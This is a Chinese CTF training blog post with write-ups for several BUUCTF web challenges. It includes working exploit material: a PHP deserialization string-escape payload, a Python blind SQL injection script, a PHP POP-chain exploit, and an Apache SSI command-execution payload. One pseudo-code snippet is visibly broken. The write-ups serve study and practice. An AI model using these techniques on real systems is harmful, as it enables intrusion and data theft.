[BUUCTF] 集训第五天

[MRCTF2020]PYWebsite

查看源码

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
    }

输入的validate code的md5值要==0cd4da0223c0b280829dc3ea458d655c
解密你就输了
在这里插入图片描述看看/flag.php
在这里插入图片描述
你可是黑阔鸭 IP呀 伪造呀
在这里插入图片描述

[0CTF 2016]piapiapia

  • 源码泄露
    dirsearch扫描不出,dirmap可以
    在这里插入图片描述

  • 代码审计
    弱项

先审计index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

用户名和密码长度不得超过3,怪不得sql注入一直invalid
观察到session和重定向profile.php,初步判断可能是session反序列化,然而并不是,只是正常的反序列化

审计profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

观察到很重要的函数unserialize
其实当时拿到源码判断session反序列化的时候就应该全局搜索unserialize

观察到file_get_contents(),反序列化结束和利用的标志,如果我们把$profile[‘photo’]替换为config.php,则可以利用文件内容读取 config.php中的$flag,

之前全局搜索flag审计到的config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

重定向update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

传四个参数,phone,email,nickname,以及photo。
进行正则表达式的过滤,赋予到$profile变量中。

然后这里很重要的整理思路是,反序列化入口是nickname,我们利用nickname带入数据,进而带入profile,最后反序列化利用

观察到serialize函数,update_profile()函数,跟进

跟进到的class.php

  • 反序列化字符逃逸

审计class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

update_profile()

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

filter过滤(利用点)

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

利用where替换hacker五个字符逃逸出34个";}s:5:"photo";s:10:"config.php";}字符

使其从nickname逃逸到photo,从nickname逃逸出,"};将前面的nickname数组闭合之后,剩下的s:5:“photo”;s:10:“config.php”;}就会被当作photo的部分了,至于后面的upload,由于被后面";}结束反序列化,也就被丢弃,这样就实现了config.php的读取

同时由于对nickname的长度限制,用数组绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

在这里插入图片描述
抓包单独修改nickname为nickname[],改值

在这里插入图片描述
base解码获得config.php,flag在其中

所以具体步骤:

注册账户
登录账户
随意提交一些资料抓包
修改nickname为nickname[],数组绕过长度检测
修改nickname中的内容

[极客大挑战 2019]FinalSQL

在这里插入图片描述重点肯定是在新功能上,而不是登录框,点击选择2,标签和id就已经提示这是注入页面

盲注学习

  • 异或
    1^1=0
    0^0=0
    1^1^1=1
    构造
    1^(1=1)^1
    尝试一下,?id=1^(1=1)^1,回显正常
    Click字符可作标志
    在这里插入图片描述

1^(1=1)^1

"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)

i,mid是循环参数 对应%d %d

ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d
从第i个字符取,匹配ascii码,匹配成功则返回1

  • 二分法

思想:
在这里插入图片描述
code:

for i in range(1,300):
    low = 32;
    high = 127;
    mid = (low+high)//2;
    while(low < high:
        payload%(i,mid);
    res1 = requests.get(url=payload)); //匹配成功
    res2 = requests.get(url=payload)); //实际字符<匹配字符
    res3 = requests.get(url=payload)); //实际字符>匹配字符

    if 'Click' in res1.text:
        flag+=chr(i)
        print flag
        break
    if 'Click' in res2.text:
        high=mid-1  //匹配字符缩小到左边范围
    if 'Click' in res2.text:
        low=mid+1   //匹配字符增大到右边范围

这里和常规的二分找数思想不太一样的是,有序排列的是可见ascii码范围,匹配成功的时候也就是找到数字的时候

非常值得学习的payload:

import requests
import re
import string

s = requests.session()
url = "http://1df680f4-abaa-4be5-aa84-88365c38caf0.node4.buuoj.cn:81/search.php"
table = ""

# 关于二分法的算法:https://blog.csdn.net/u012194956/article/details/79103843
for i in range(1, 300):
    print(i)
    low = 32
    high = 128
    while(low <= high):

        mid = (low + high)//2
        # 爆库名
        #  1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1)^1

        '''
        payload11 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,mid)
        '''
        # 爆表名
        #payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
        '''
        payload11 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        '''

        # 爆字段名
        #payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
        '''
        payload11 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        '''

        # 爆字段值
        #payload4 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1"%(i,mid)

        payload11 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1" % (
            i, mid)
        payload12 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (
            i, mid)
        payload13 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (
            i, mid)

        ra11 = s.get(url=url + "?id=" + payload11).text
        ra12 = s.get(url=url + "?id=" + payload12).text
        ra13 = s.get(url=url + "?id=" + payload13).text
        if 'Click' in ra11:
            table += chr(mid)
            print(table)
            break
        if 'Click' in ra12:
            #print ("'low='+%d + 'high=' + %d"%(low,high))
            high = mid - 1
        if "Click" in ra13:
            #print ("'low='+%d + 'high=' + %d"%(low,high))
            low = mid + 1

很多无用信息,记得调整循环范围

[MRCTF2020]Ezpop

PHP构造pop链时的魔术方法

__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

看到几个可以利用魔术方法,再确认序列化利用类型=>文件包含 include

__wakeup()  将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 用于从不可访问的属性读取数据
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

pop链逻辑:

  1. __wakeup()
    this->source = “index.php” source被当做字符串所以调用Show类中的__to string.

  2. __toString()
    $str=new Test(),因为Test类中没有source,直接触发__get()魔术方法

  3. __get()
    $p=new Modifier(),以函数形式调用又能触发__invoke()魔术方法

  4. __invoke()
    最后让Modifier类中的var为我们要读取的flag.php

Show::__wakeup => Show::__toString => Test::__get => Modifier::__invoke

exp:

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
	public $source;
	public $str;	
    public function __construct(){
        $this->str=new Test();
    }
}

class Test{
	public $p;
    public function __construct(){
        $this->p=new Modifier();
    }
}

$x=new Show();
$x->source = new Show(); // 这一步不太明白,后来加上才是正确的exp
echo urlencode(serialize($x));

有一道 大同小异的题目,做做看

  • 源码泄露
    源码泄露总是扫描不到,检查发现都是字典问题
    复习一下最近遇到的源码泄露
.git
index.php.swp
www.zip
WEB-INF/web.xml
<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。

首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

发现url
在这里插入图片描述
在这里插入图片描述

  • Apache SSI 远程命令执行漏洞复现

SSI:SSI(服务器端包含)是​​放置在HTML页面中的指令,并在提供页面时在服务器上进行评估。它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。

漏洞原理:
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用 语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

payload:

<!--#exec cmd="cat ../f*"-->

题目中username被写入了shtml文件,所以将其值修改为payload
记得访问对应的url和shtml文件
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值